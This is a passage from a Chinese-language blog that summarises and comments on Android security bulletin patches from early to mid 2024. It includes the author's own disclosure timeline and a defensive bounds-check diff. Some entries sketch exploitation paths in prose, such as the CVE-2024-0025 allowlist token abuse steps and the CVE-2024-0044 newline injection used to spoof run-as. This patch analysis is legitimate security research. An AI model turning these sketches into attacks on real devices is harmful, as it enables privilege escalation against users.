UID,确保是 system UID。原本 selinux policy 会限制只允许 system server 连接到 zygote 进程,但是对 app zygote 这个限制不够严格,两个 app zygote 进程可以相互连接然后发送伪造命令。<br>更多关于 app zygote 可以参考 <code>android:usesAppZygote</code> 和 <code>ZygotePreload</code> 的文档,我之前的检测 magisk 那篇文章也有简单提及。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34723" target="_blank" rel="noopener">CVE-2024-34723</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/c702bb71811993960debe0c18fcf8834cfa2454f" target="_blank" rel="noopener">1</a><br>MediaSession ParcelableListBinder 只允许塞入指定类型的对象,防止后台启动绕过。这个问题之后会单独写一篇文章讲解。</p><h3 id="System-5"><a href="#System-5" class="headerlink" title="System"></a>System</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31332" target="_blank" rel="noopener">CVE-2024-31332</a> EoP High <a href="https://android.googlesource.com/platform/packages/apps/Settings/+/d1f9e61e4480116838c7a642b54c217506361266" target="_blank" rel="noopener">1</a><br>如果当前用户被设置了 <code>DISALLOW_ADD_WIFI_CONFIG</code>,不显示 WifiDppConfiguratorActivity 和 AddNetworkFragment。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31339" target="_blank" rel="noopener">CVE-2024-31339</a> EoP High <a href="https://android.googlesource.com/platform/packages/modules/StatsD/+/795a0da721992432cae20fc9be21bcbce318bf5a" target="_blank" rel="noopener">1</a><br>statsd 中,MultiConditionTrigger 可能会开启一个新线程 executorThread,该线程会持有外部资源引用,应该在 MultiConditionTrigger 被销毁时 join 这个线程保证它执行完毕。应该是 race condition 导致 UAF 的问题。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34722" target="_blank" rel="noopener">CVE-2024-34722</a> EoP High <a href="https://android.googlesource.com/platform/packages/modules/Bluetooth/+/456f705b9acc78d8184536baff3d21b0bc11c957" target="_blank" rel="noopener">1</a><br>蓝牙组件的问题,似乎是逻辑 bug。看不懂,告辞~</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Fix an authentication bypass bug in SMP</span><br><span class="line"></span><br><span class="line">When pairing with BLE legacy pairing initiated</span><br><span class="line">from remote, authentication can be bypassed.</span><br><span class="line">This change fixes it.</span><br></pre></td></tr></table></figure><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34721" target="_blank" rel="noopener">CVE-2024-34721</a> ID High <a href="https://android.googlesource.com/platform/packages/providers/MediaProvider/+/7a1cbf5a8e17e6bff7c835fdd30dcc42b681db0a" target="_blank" rel="noopener">1</a><br>MediaProvider 中插入文件时,对文件路径没有被显式指定的情况缺乏检查,导致可以插入到其他用户的储存。听起来挺有意思的,后续可以复现玩玩。</p><h2 id="2024-06-01"><a href="#2024-06-01" class="headerlink" title="2024-06-01"></a>2024-06-01</h2><p>这个月竟然一个 critical 都没有,奇迹啊</p><h3 id="Framework-6"><a href="#Framework-6" class="headerlink" title="Framework"></a>Framework</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-21266" target="_blank" rel="noopener">CVE-2023-21266</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/5f446d2ce101e9072a46603d4e1ab66a336e35fa" target="_blank" rel="noopener">1</a><br>禁止第三方应用通过 killBackgroundProcesses() 杀死其他应用的进程。看 CVE 描述是能一直杀 play 保护服务的进程从而绕过 play 保护。去年 10 月就放过一遍了,不知道为什么又放了一遍。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31310" target="_blank" rel="noopener">CVE-2024-31310</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/74afbb05ca08738f66d82df867bbee66de4884bc" target="_blank" rel="noopener">1</a><br>强制自动填充服务必须声明对应的 intent-filter。<del>没有追详细调用链,猜测是为了防止 serviceComponent 被任意指定,调用到未导出的 service?</del><br>更新:漏洞描述指出了细节:用户选择它为自动填充 app -> apk 更新,新的 apk 里这个服务缺失 intent-filter -> 系统自动重绑定该服务 -> 用户去设置里查看时,由于此时该 service 没有 intent-filter,该 app 不会被显示出来。</p><blockquote><p>Summary: App can continue to fill input fields in the device even if user has not selected it as default Autofill service app.<br>Details: In newServiceInfoLocked of AutofillManagerServiceImpl.java, there is a possible way to hide an enabled Autofill service app in the Autofill service settings due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.</p></blockquote><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31316" target="_blank" rel="noopener">CVE-2024-31316</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/3457d82f8e265ad615b38f6a2aa3c33f1e100cb9" target="_blank" rel="noopener">1</a><br>AccountManagerService 在修改返回的 bundle (具体是三处 remove 敏感信息的地方)之后重新检查 bundle 内的 intent 是否合法。简单想了一下,没想到 lazy bundle 加持下能怎么利用,猜测是在非 lazy bundle 的场景下,按照 mismatch 对象、被移除的键值对、恶意 intent 这个顺序放置来绕过 <code>checkKeyIntentParceledCorrectly</code>?</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31317" target="_blank" rel="noopener">CVE-2024-31317</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/e25a0e394bbfd6143a557e1019bb7ad992d11985" target="_blank" rel="noopener">1</a><br>如果设置的 hidden api exemptions 含有非法字符,不把它传递给 zygote,防止干扰参数解析。此漏洞可被用于伪造 uid 等参数,在任意 app 上下文中执行任意代码。<br><a href="https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html" target="_blank" rel="noopener">https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html</a></p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31318" target="_blank" rel="noopener">CVE-2024-31318</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/b68b257d56a8600d53b4d2d06fb82aa44086a4a5" target="_blank" rel="noopener">1</a><br>此漏洞由我发现并报告。<br>CompanionDeviceManagerService onShellCommand() 内没有检查调用者权限,然后直接调用了同样没有权限检查的内部接口,造成越权访问,并直接造成权限提升。修复为把 <code>onShellCommand()</code> 改成重写 <code>handleShellCommand()</code>,因为 <code>Binder.onShellCommand()</code> 会先检查调用者 uid 确保必须是 root/shell。<br>关于这个漏洞的一点点番外:<br>通过分析提交历史,我发现这个函数以前其实是有一个权限检查的,但是在 Android 14 的一个提交 <a href="https://cs.android.com/android/_/android/platform/frameworks/base/+/7a8f22792e45630bff14eb8b276c7649b0d79097" target="_blank" rel="noopener">https://cs.android.com/android/_/android/platform/frameworks/base/+/7a8f22792e45630bff14eb8b276c7649b0d79097</a> 里被人删掉了。所以这其实是一个只影响 Android 14 的漏洞(这下新版本魔人大失败了)。<br>由于我不是 Google 员工,没法直接知道这个人这么做的原因,我这里只能猜测一下:可能是眼花了把这里看成已经在用 handleShellCommand 了,可能是觉得权限检查重复(Android 12 的时候这块代码在 ShellCmd 构造函数里),或者干脆就是 git 出了 bug 把这行给意外移除了,类似那个 gotofail 漏洞。<br>继续追踪提交历史,我发现了一个更搞笑的:2020 年,同样的系统服务,同样的 onShellCommand,曾经出现过一个一模一样的漏洞 CVE-2020-0227 <a href="https://android.googlesource.com/platform/frameworks/base/+/84cccfe6cdbc57ee372ee1a0fea64c7a11c53766^!/#F1" target="_blank" rel="noopener">https://android.googlesource.com/platform/frameworks/base/+/84cccfe6cdbc57ee372ee1a0fea64c7a11c53766^!/#F1</a> 。<br>嗯,让你不写回归测试,白给赏金了这下。</p><p>时间线:</p><ul><li>2023.10.4 Android 14 正式发布</li><li>2023.11.25 我注意到此漏洞</li><li>2023.11.26 构建了 PoC 并向 Android 安全团队反馈</li><li>2024.2.10 Google 确认此漏洞并将严重程度评级为高。对,你没看错,两个半月</li><li>2024.5.21 Google 通知我补丁将在下个月发布,并分配 CVE-2024-31318</li><li>2024.6.3 已经过去了 190 天,补丁终于发布</li></ul><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31319" target="_blank" rel="noopener">CVE-2024-31319</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/3cc021bf608fa813a9a40932028fdde2b12a2d5e" target="_blank" rel="noopener">1</a><br>NotificationListenerService 修改 notification channel 的 sound 时,校验它是否有权限访问这个 uri。<br>(漏洞类型不应该给 ID 吗,为啥给了个 EoP?)</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31322" target="_blank" rel="noopener">CVE-2024-31322</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/c1bc907a649addd5b97d489fd39afb956164a46c" target="_blank" rel="noopener">1</a><br>对于被卸载的应用,把其提供的 AccessibilityService 从已启用的服务列表里面移除。我记得这个问题以前好像处理过一次,向上追了一下,只有在 <code>onUserStateChangedLocked()</code> 有机会调用到这里,猜测此漏洞是在管理员用户卸载其他用户的应用而对应用户处于非活跃状态的时候触发?</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31324" target="_blank" rel="noopener">CVE-2024-31324</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/f16cc1135b414906164eb8fc55a76971b0e36c21" target="_blank" rel="noopener">1</a><br>如果窗口没有隐藏动画,需要立即隐藏它。说实话,没怎么看懂,看 CVE 描述是通过以竖屏模式启动 activity 然后旋转到横屏模式可以绕过点按劫持保护,似乎是逻辑漏洞。留给有缘人分析复现吧~~</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Hide window immediately if itself doesn't run hide animation</span><br><span class="line"></span><br><span class="line">The condition was overextended in commit 9bca6b4 which checks if the</span><br><span class="line">parent container of the window is animating. That causes the window to</span><br><span class="line">wait for animation finish to update visibility, but the animation</span><br><span class="line">finish callback won't happen because itself is not animating. Then the</span><br><span class="line">window that should be hidden remains on screen.</span><br><span class="line"></span><br><span class="line">Bug: 302431573</span><br><span class="line">Test: atest WindowStateTests#testIsOnScreen_hiddenByPolicy</span><br></pre></td></tr></table></figure><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31325" target="_blank" rel="noopener">CVE-2024-31325</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/9fcd2070f22c0c6b30ecdc914cef83b5891d5f68" target="_blank" rel="noopener">1</a><br>SystemUI 解析 notification message/conversation 相关的图片 uri 时需要使用对应用户的 context。不确定在什么时候能触发。<br>(看起来漏洞类型应该给 ID 才对?还有为什么放 framework 里而不是 system?)</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31326" target="_blank" rel="noopener">CVE-2024-31326</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/736462a777d0a0e1258bd7ab80d6e352ef797669%5E%21/#F0" target="_blank" rel="noopener">1</a> <a href="https://android.googlesource.com/platform/frameworks/base/+/f1eb8e719dfbe15a38d40af0a73ead207eba9389" target="_blank" rel="noopener">2</a><br>Android 14 设备管理相关的配置存储方式发生变化,而又没有正确迁移相关配置,导致设备从旧版本更新到 14 之后设备管理员做出的限制丢失。具体来说是截图策略(screen capture policy)、lock task 配置、user restrictions 这三个。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31312" target="_blank" rel="noopener">CVE-2024-31312</a> ID High <a href="https://android.googlesource.com/platform/frameworks/base/+/748055291460bcaafa3e53c7da1601a687959477" target="_blank" rel="noopener">1</a><br>如果设置锁屏隐藏通知,隐藏 media carousel(媒体操作面板?)。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31314" target="_blank" rel="noopener">CVE-2024-31314</a> DoS High <a href="https://android.googlesource.com/platform/frameworks/base/+/c0d5f75e01308fb7d6d86639a0a6e2ff81b30be6" target="_blank" rel="noopener">1</a><br>ShortcutService 可能会调用 <code>UsageStatsManager.reportShortcutUsage()</code>,对调用频率添加限制,防止拒绝服务。</p><h3 id="System-6"><a href="#System-6" class="headerlink" title="System"></a>System</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-21113" target="_blank" rel="noopener">CVE-2023-21113</a> EoP High <a href="https://android.googlesource.com/platform/build/soong/+/e7b7f0833dc47ade981eddfbf462dcc143dddd10" target="_blank" rel="noopener">1</a> <a href="https://android.googlesource.com/platform/frameworks/base/+/17dd11248a66b2722aa3ef07701b7f09a64160e5" target="_blank" rel="noopener">2</a> <a href="https://android.googlesource.com/platform/prebuilts/module_sdk/Wifi/+/c705bae1a4d50bd7b4f8cc919097d1aae568dd22" target="_blank" rel="noopener">3</a><br>如果 AttributionSource 反序列化不是因为 binder 调用被触发,清空所有权限状态。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-21114" target="_blank" rel="noopener">CVE-2023-21114</a> EoP High <a href="https://android.googlesource.com/platform/packages/modules/Wifi/+/f88a2294f53cf382908cc48f992273742f817dd5" target="_blank" rel="noopener">1</a> <a href="https://android.googlesource.com/platform/packages/modules/Wifi/+/e6ca0c031758d8b1511f6a359bec316b6d2e22fe" target="_blank" rel="noopener">2</a> <a href="https://android.googlesource.com/platform/packages/modules/Wifi/+/f39ed052916716ef974102b3bad7ae102d0164a5" target="_blank" rel="noopener">3</a><br>WiFi 模块中先把 AttributionSource 从 bundle 提取出来再把任务交给工作线程处理。由于 android 13 引入的 lazy bundle 优化,对于 parcelable 类型只有在被实际访问的时候才会触发反序列化,而原来的代码中 bundle 里的 AttributionSource 在工作线程而非 binder 线程中被访问,触发反序列化时 <code>Binder.getCallingUid()</code> 等方法返回的是 system server 自己的信息,造成权限绕过。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31311" target="_blank" rel="noopener">CVE-2024-31311</a> EoP High <a href="https://android.googlesource.com/platform/packages/modules/StatsD/+/b6aab6c000ab85f4e4d8bb3941bcc33800550374" target="_blank" rel="noopener">1</a><br>libstatssocket 内检查 AStatsEvent 的 lastFieldPos 必须小于 bufSize。</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"> // Side-effect: modifies event->errors if field has too many annotations</span><br><span class="line"> static void increment_annotation_count(AStatsEvent* event) {</span><br><span class="line"><span class="addition">+ if (event->lastFieldPos >= event->bufSize) {</span></span><br><span class="line"><span class="addition">+ return;</span></span><br><span class="line"><span class="addition">+ }</span></span><br><span class="line"> uint8_t fieldType = event->buf[event->lastFieldPos] & 0x0F;</span><br><span class="line"> uint32_t oldAnnotationCount = (event->buf[event->lastFieldPos] & 0xF0) >> 4;</span><br><span class="line"> uint32_t newAnnotationCount = oldAnnotationCount + 1;</span><br></pre></td></tr></table></figure><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31313" target="_blank" rel="noopener">CVE-2024-31313</a> EoP High <a href="https://android.googlesource.com/platform/system/libfmq/+/79bbf4aeef4b254c52da670a972e22956c8c659d" target="_blank" rel="noopener">1</a><br>消息队列里检查越界情况。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31315" target="_blank" rel="noopener">CVE-2024-31315</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/a9ee2793068235ff423d08cc0964870c054d1983" target="_blank" rel="noopener">1</a><br>NotificationListenerService rebind 及所属包更新的时候,如果此时该服务不再被权限保护(没有声明 <code>android:permission</code>),不要 bind 它。<br><del>(这也算漏洞?CVE 描述又看不了,不清楚有没有其他触发场景)</del><br>查看描述后发现和上面的 CVE-2024-31310 是类似的:用户打开权限 -> apk 更新,新的 apk 里这个服务不再被 permission 保护 -> 系统自动重绑定该服务 -> 用户去设置里查看时,由于此时该 service <code>android:permission</code> 配置不对,该 app 不会被显示出来。</p><blockquote><p>Summary: App can read all notifications of the device without requiring any permission.<br>Details: In multiple functions of ManagedServices.java, there is a possible way to hide an app with notification access in the Device & app notifications settings due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.</p></blockquote><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31323" target="_blank" rel="noopener">CVE-2024-31323</a> EoP High <a href="https://android.googlesource.com/platform/packages/modules/HealthFitness/+/c4e13d15e8dd1df1bd827117d1a74c187ed2b3c2" target="_blank" rel="noopener">1</a><br>悬浮窗覆盖漏洞限时返场,这次是 Health Connect 这个 app 里。只影响 14。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-31327" target="_blank" rel="noopener">CVE-2024-31327</a> EoP High <a href="https://android.googlesource.com/platform/system/libfmq/+/79bbf4aeef4b254c52da670a972e22956c8c659d" target="_blank" rel="noopener">1</a><br>补丁链接和 CVE-2024-31313 是一样的。</p><h2 id="2024-06-05"><a href="#2024-06-05" class="headerlink" title="2024-06-05"></a>2024-06-05</h2><h3 id="Kernel"><a href="#Kernel" class="headerlink" title="Kernel"></a>Kernel</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-26926" target="_blank" rel="noopener">CVE-2024-26926</a> EoP High <a href="https://android.googlesource.com/kernel/common/+/bf4f9bc41c3b5203e1e7284e1de78e82f0630473" target="_blank" rel="noopener">1</a> <a href="https://android.googlesource.com/kernel/common/+/7a2aa337ab8235460c1efa92a846eaeade5f2514" target="_blank" rel="noopener">2</a><br>内核 binder 驱动里 <code>binder_get_object()</code> 检查 offset 必须按 4 字节对齐。</p><h2 id="2024-05-01"><a href="#2024-05-01" class="headerlink" title="2024-05-01"></a>2024-05-01</h2><h3 id="Framework-7"><a href="#Framework-7" class="headerlink" title="Framework"></a>Framework</h3><p>CVE-2024-0024 EoP High<br>创建用户时限制将用户名、账号名、账号类型这三个字符串的长度,否则长度可能会超出 BinaryXmlSerializer 的写入限制,导致后续 user restrictions 写入失败,创建出没有限制的用户。<br>疑问:我在今年1月4号就已经在 aosp 上看见了这个提交,为什么现在才放在安全公告里?</p><p>CVE-2024-0025 EoP High<br>发送非 PendingIntent 类型的 IntentSender 时避免携带 allowlist token。因为这个时候传入的 IIntentSender 实际上可能是 app 的一个 binder,再在上面调用 send 实际上相当于把 allowlist token 直接发送给了 app,然后这个 token 可以用来绕过很多的后台限制。<br>大概猜测一下利用方法:<br>创建一个自定义 IIntentSender<br>把它塞进一个 PendingIntent 里(PendingIntent 存放着一个 IIntentSender,这是它的真正实现)<br>把 PendingIntent 放进 notification deleteIntent 里<br>发送 notification 然后立刻取消,触发 deleteIntent 执行<br>PendingIntent.send() 把内部的 IIntentSender 传递到 sendIntentSender,因为这个 IIntentSender 不是 PendingIntentRecord,所以 IIntentSender.send() 被调用,此时会直接把 allowlist token 发给 app<br>妙啊,太妙了<br>疑问:1月4号我也看见了这个补丁,为什么现在才发出来?</p><p>CVE-2024-23705 EoP High<br>在 CVE-2024-0024 补丁的基础上限制 accountOptions 的大小,防止类似的问题。</p><p>CVE-2024-23708 EoP High<br>让系统发出的 toast 优先显示,保证其他应用不能通过发送大量 toast 的方式延后系统 toast 显示。同时把粘贴剪贴板文字的 toast 的显示时长加到 long。</p><h3 id="System-7"><a href="#System-7" class="headerlink" title="System"></a>System</h3><p>(跳过 CVE-2024-23709)</p><p>CVE-2024-23706 EoP Critical<br>android health 相关的功能,禁止插入 record types 为空的 changelog。对这模块不是很熟,没看懂能干啥,也没看懂为啥定级这么高,待进一步分析。CVE 描述:In multiple locations, there is a possible bypass of health data permissions due to an improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.</p><p>CVE-2024-0043 EoP High<br>在 PermissionController 后端禁止给 work profile 中的应用授权监听通知。<br>更新:据反馈,此漏洞触发方式是通过 companion device watch role 自动授予相关权限。<br>注:官方公告里放的补丁链接似乎是错的,正确的应该是 <a href="https://cs.android.com/android/_/android/platform/packages/modules/Permission/+/47a06cd49981d3fbe58158e9252f0a825aa109cd" target="_blank" rel="noopener">https://cs.android.com/android/_/android/platform/packages/modules/Permission/+/47a06cd49981d3fbe58158e9252f0a825aa109cd</a></p><p>CVE-2024-23707 EoP High<br>系统设置里 SearchResultTrampoline 把原来的用 getCallingActivity 判断调用者改成用 getLaunchedFromPackage,前者返回的是哪个 activity 会收到 onActivityResult 回调,后者返回的是实际启动 Activity 的人(Pending intent 按创建者算)</p><h2 id="2024-04-01"><a href="#2024-04-01" class="headerlink" title="2024-04-01"></a>2024-04-01</h2><p>这次补丁给我的感觉就是,像愚人节特辑</p><h3 id="Framework-8"><a href="#Framework-8" class="headerlink" title="Framework"></a>Framework</h3><p>CVE-2024-23710 EoP High<br>如果一个 app 和特权 app 共享 UID,并且设置了 sharedUserMaxSdkVersion 且处于生效状态,那么 sharedUserId 的设置是无效的,这个时候不应该把它标记为特权 app</p><p>CVE-2024-23713 EoP High<br>NotificationManagerService migrateNotificationFilter 内如果传入的 disallowApps 并没有被安装就跳过它。猜测问题是可以传入超长字符串阻止 mRequestedNotificationListeners 被序列化,从而阻止数据变更被保存?</p><p>CVE-2024-0022 ID High<br>CompanionDeviceManagerService requestNotificationAccess 没有检查传入的 user id,而是留了个 TODO 在那里(写到一半想着先这样完事然后就忘了?),然后直接用这个 user id 取得一个 PendingIntent 并返回,然后发送这个 pending intent 实际上可以跳到对应用户的通知访问管理页面。这个问题我很早就注意到了,但是反馈被标 duplicate 了。</p><p>CVE-2024-23712 DoS High<br>AppOpsService 里过滤未被定义的 proxyAttributionTag (这啥?),同时把一个包里最大能定义的<attribution>标签的数量从 10000 下调到 1000,防止大量数据造成 DoS。有待进一步分析。</attribution></p><h3 id="System-8"><a href="#System-8" class="headerlink" title="System"></a>System</h3><p>CVE-2024-23704 EoP High<br>如果当前用户有 DISALLOW_ADD_WIFI_CONFIG 这个限制,不允许打开 WifiDialogActivity。</p><p>CVE-2023-21267 ID High<br>去年12月的补丁,原问题是有 app pining 的时候尝试按电源键 lockdown 会因为逻辑错误跳过锁屏。原来的补丁有问题,回滚了之后修复了问题重新提交。</p><p>CVE-2024-0026/CVE-2024-0027 DoS High<br>大量 snoozed notifications 可能导致的拒绝服务问题(这个问题不是修过几次吗怎么又来了?)。判断 snooze notification 数量是否超限的时候要把已经存进文件里的(mPersistedSnoozedNotifications 和 mPersistedSnoozedNotificationsWithContext)一并纳入计算。还修复了 repostGroupSummary 方法里没有把通知从 mPersistedSnoozedNotifications 和 mPersistedSnoozedNotificationsWithContext 里移除的问题,会导致不需要的通知数据始终被序列化,可能被滥用导致资源耗尽拒绝服务。</p><h2 id="2024-03-01"><a href="#2024-03-01" class="headerlink" title="2024-03-01"></a>2024-03-01</h2><h3 id="Framework-9"><a href="#Framework-9" class="headerlink" title="Framework"></a>Framework</h3><p>(跳过了 CVE-2024-0049/CVE-2024-0050/CVE-2024-0051,三个都是 libstagefright 中的内存错误)</p><p>CVE-2024-0044 EoP High<br>过滤应用的“安装者包名”(可以通过 pm install -i 指定)里的非法字符。此漏洞细节:攻击者可以在“安装者包名”内插入换行符,之后系统会把该字段原样写进 /data/system/packages.list 里,伪造出新的条目,之后可以通过伪造的条目欺骗 run-as 从而获得受害应用的权限,可以操作内部目录等。<br>发现者的博客写的很清楚了:<a href="https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html" target="_blank" rel="noopener">https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html</a><br><del>数据取证专用漏洞了属于是</del></p><p>CVE-2024-0046 EoP High<br>阻止系统应用被升级为 instant app(免安装应用 <del>谷歌小程序</del>)。免安装应用只能获得很小的一部分权限,攻击者可以利用该漏洞使特定系统应用的权限失效,从而绕过运营商限制。</p><p>CVE-2024-0048 EoP High<br>AccountManagerService 又上新补丁了。AccountManagerService 内部有一个超时机制,bind 到 Authenticator 后如果它长时间没响应就 unbind。搞笑的是,代码里根本没有任何地方启动这个机制,整个超时机制根本不会被触发。AccountManager API 最初在 Android 2.1 里加入,十几年过去了还能有这种问题,提前预定一个 2024 年最搞笑漏洞。</p><p>CVE-2024-0053 ID High<br>如果打印服务返回的自定义的打印机图标里的 URI 指向其他用户就把它过滤掉,防止看见其他用户的图像。最近这种漏洞真的好多好多。</p><p>CVE-2024-0047 DoS High<br>Android 14 中对设备管理(Android for Work 的功能)的重构中引入的 bug,设备管理员设置的 global restriction(对整个设备的限制)可能会被错误识别为 local restriction(对单个用户的限制),导致管理员无法撤销限制,设备功能受限。就算 bug 修好了,已经损坏的配置文件仍然是损坏的,为了让这些设备不清除数据就能正常工作还要加个 workaround。</p><h3 id="System-9"><a href="#System-9" class="headerlink" title="System"></a>System</h3><p>(跳过了 CVE-2024-0039、CVE-2024-23717、CVE-2024-0045)</p><p>CVE-2023-40081 ID High<br>SystemUI 加载多媒体文件的图标时检查 URI 权限,防止跨用户读取</p><p>CVE-2024-0052 ID High<br>对 Android Health 这个功能不是很熟,看提交信息是如果调用者没有权限,部分 API 返回的数据要去除掉用户运动的路线信息。</p><h2 id="2024-02-01"><a href="#2024-02-01" class="headerlink" title="2024-02-01"></a>2024-02-01</h2><h3 id="Framework-10"><a href="#Framework-10" class="headerlink" title="Framework"></a>Framework</h3><p>CVE-2024-0029 EoP High<br>DevicePolicyManagerService 里的逻辑 bug,保存禁止截屏的状态的时候只用了一个 int 保存被禁用的用户 id,在未受管用户启动的时候会覆盖掉之前设置的。</p><p>CVE-2024-0032 EoP High<br>DownloadStorageProvider 正确重写带有 includeHidden 参数的 queryChildDocuments()。<br>更多可参考 <a href="https://t.me/qianqianzhuang/4" target="_blank" rel="noopener">https://t.me/qianqianzhuang/4</a></p><p>CVE-2024-0034 EoP High<br>阻止壁纸服务从后台启动 activity。因为前台客户端绑定壁纸服务之后,会满足这一条豁免条件 “该应用的一项服务被另一个可见的应用绑定。绑定到该服务的应用必须保持可见,以便后台应用成功启动 activity。”<br>安卓 14 的 BAL 强化中限制了 target>=U 时必须指定 BIND_ALLOW_ACTIVITY_STARTS 才允许服务进程借用客户进程的状态启动,故该漏洞不影响 14</p><p>CVE-2024-0036 EoP High<br>startNextMatchingActivity 中设置 setAvoidMoveToFront 阻止后台启动 activity,具体可见 <a href="https://mp.weixin.qq.com/s/dbupJ3D-i0Da9ml1Pamu-w" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/dbupJ3D-i0Da9ml1Pamu-w</a><br>这个接口漏了这么久都没人注意到确实挺难得的,<del>当然我也没注意到,但是你看别人都没注意到,所以也不能怪我,你说是吧</del></p><p>CVE-2024-0038 EoP High<br>injectInputEventToInputFilter 中缺失调用者权限检查,只影响 14</p><p>CVE-2024-0041 EoP High<br>removePersistentDot 里的竞态条件,有可能导致 persistent dot 不会移除(然后会覆盖新显示的状态?)</p><p>CVE-2023-40122 & CVE-2024-0037 EoP High<br>检查自动填充相关传入的 URI,确保不会读取到其他用户的数据</p><p>CVE-2024-0040 ID High<br>MTP 协议处理中没有正确增大缓冲区大小,可能发生越界读</p><h3 id="System-10"><a href="#System-10" class="headerlink" title="System"></a>System</h3><p>CVE-2024-0031 RCE Critical<br>蓝牙 GATT 协议栈里的越界写,理论可实现 RCE。这玩意真的几乎每个月都能搞一个 RCE 出来。</p><p>CVE-2024-0014 EoP High<br>该漏洞未公开补丁链接,似乎是 GMS 私有组件。漏洞描述:In startInstall of UpdateFetcher.java, there is a possible way to trigger a malicious config update due to a logic error. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.</p><p>CVE-2024-0033 EoP High<br>libbinder 打开 memfd 时指定 F_SEAL_GROW | F_SEAL_SHRINK 阻止后续其他进程更改大小造成错误</p><p>CVE-2024-0035 EoP High<br>TileService 返回 null 时正确释放资源,阻止绕过后台启动前台 activity 的限制。更多可以参考 <a href="https://wrlus.com/android-security/bindservice-error-handle/" target="_blank" rel="noopener">https://wrlus.com/android-security/bindservice-error-handle/</a></p><p>CVE-2023-40093 ID High<br>升级 pdfium 到 Chrome 114.0.5735.130 的</p><p>CVE-2024-0030 ID High<br>蓝牙组件里不充分的检查可能造成越界读</p><h2 id="2024-01-01"><a href="#2024-01-01" class="headerlink" title="2024-01-01"></a>2024-01-01</h2><h3 id="Framework-11"><a href="#Framework-11" class="headerlink" title="Framework"></a>Framework</h3><p>CVE-2023-21245 EoP High<br>阻止在设备设置向导完成之前进入锁屏,可以插入一张需要 PIN/PUK 码解锁的 SIM 卡复现。应该是可以绕过恢复出厂保护(FRP,Factory Reset Protection),也就是所谓的激活锁。</p><p>CVE-2024-0015 EoP High<br>保证 DreamService 配置的 settingsActivity 属于应用自身,防止调用到非公开的 activity 造成 launch anywhere。向上搜索可以发现 SettingsLib 的 DreamBackend launchSettings() 这个方法会直接 startActivity,这里在 Settings 里运行所以是 system 权限。<br>题外话:DreamService 是 Android 4.2 加入的,十几年过去了,相关代码在2024年1月还能出现这么简单直接的漏洞确实有点不可思议。这个补丁早在2022年就创建了,而且更新的版本列表里并没有最新的14,于是我去看了下14的代码发现确实已经合进了这个补丁,然后我搜索这个补丁,发现这个漏洞早在2022年就被确认并被授予 CVE-2022-20550 这个编号,但是谷歌当时不知道怎么想的只给了 moderate 评级然后只给 pixel 修了。。。</p><p>CVE-2024-0018 EoP High<br>libstagefright 里无符号数运算不当导致意外结果的漏洞。</p><p>CVE-2024-0019 ID High<br>System UI 进程重启后,如果在重启之前有应用在进行敏感操作,并且现在还没结束,那么仍然应该显示隐私指示器。</p><h3 id="System-11"><a href="#System-11" class="headerlink" title="System"></a>System</h3><p>CVE-2024-0021 EoP High<br>禁止工作空间(work 